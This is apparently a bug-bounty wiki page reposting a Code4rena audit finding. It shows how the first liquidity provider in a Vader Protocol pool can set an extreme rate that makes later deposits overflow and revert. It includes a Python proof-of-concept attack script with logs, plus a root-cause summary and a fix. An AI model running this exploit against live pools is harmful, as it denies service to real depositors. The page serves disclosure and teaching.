Skip to content
DoS Audit finding Intermediate

The first lp provider can destroy the pool

The first liquidity provider can set an extreme pool rate by depositing a tiny amount, causing later deposits to overflow and revert. This allows an attacker to block all future deposits, effectively denying service to the pool.

jonah1005 Follow

Originally disclosed on Code4rena

Submitted by jonah1005

Impact

First lp provider received liquidity amount same as the nativeDeposit amount and decides the rate. If the first lp sets the pool’s rate to an extreme value no one can deposit to the pool afterward. (please refer to the proof of concept section)

A malicious attacker can DOS the system by back-running the setTokenSupport and setting the pools’ price to the extreme. I consider this is a medium-risk issue.

Proof of Concept

    deposit_amount = 1000 * 10**18
    get_token(dai, user, deposit_amount*3)
    get_token(vader, user, deposit_amount*3)
    dai.functions.approve(pool.address, deposit_amount*3).transact()
    link.functions.approve(pool.address, deposit_amount*3).transact()

    # deposit_amount = 1000 * 10**18

    # # first deposit 1 wei Dai and 1 vader to the pool
    router.functions.addLiquidity(dai.address, vader.address, 1, 10**18, user, 10**18).transact()
    print('received liquidity', pool.functions.positions(0).call()[2])
    # output log:
    # 1000000000000000000

    # normally deposit to the pool
    router.functions.addLiquidity(dai.address, vader.address, deposit_amount, deposit_amount, user, 10**18).transact()
    print('received liquidity', pool.functions.positions(1).call()[2])

    # output log:
    # 500000000000000000500000000000000000000

    # no one can deposit to the pool now
    # there would be revert

    router.functions.addLiquidity(dai.address, vader.address, 1, deposit_amount, user, 10**18).transact()

VaderMath.sol#L42

    ((totalPoolUnits * poolUnitFactor) / denominator) * slip

Since the scale of the total supply is (10**18)^2, the operation would overflow.

Tools Used

None

Recommended Mitigation Steps

Set a minimum deposit amount (both asset amount and native amount) for the first lp provider.

SamSteinGG (Vader) confirmed

The original report as published on Code4rena, by jonah1005. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the pool's initial exchange rate is set by the first depositor without a minimum deposit, and the maths for later deposits overflows when the rate is extreme.

Impact

An attacker could deny service to the pool by making it impossible for others to deposit, as later deposits revert.

What the attacker needed

Attacker has tokens to deposit; attacker is first liquidity provider

The fix

The pool should enforce a minimum deposit amount for the first liquidity provider.

How it was found

  1. The attacker obtains DAI and Vader tokens and approves the pool to spend them.
  2. The attacker makes the first deposit with a very small amount of one token and a larger amount of the other, setting an extreme rate.
  3. The attacker then makes a normal deposit, which succeeds and shows the received liquidity.
  4. Any subsequent deposit attempt reverts due to overflow.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A liquidity pool is a shared pot of two tokens that people add to. The first person to add tokens decides the exchange rate between them. If they set a very unfair rate, later deposits can cause a maths error (overflow) and fail, so no one else can join the pool.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by jonah1005

View all

39 more disclosed reports, best first.

More from Vader Protocol contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.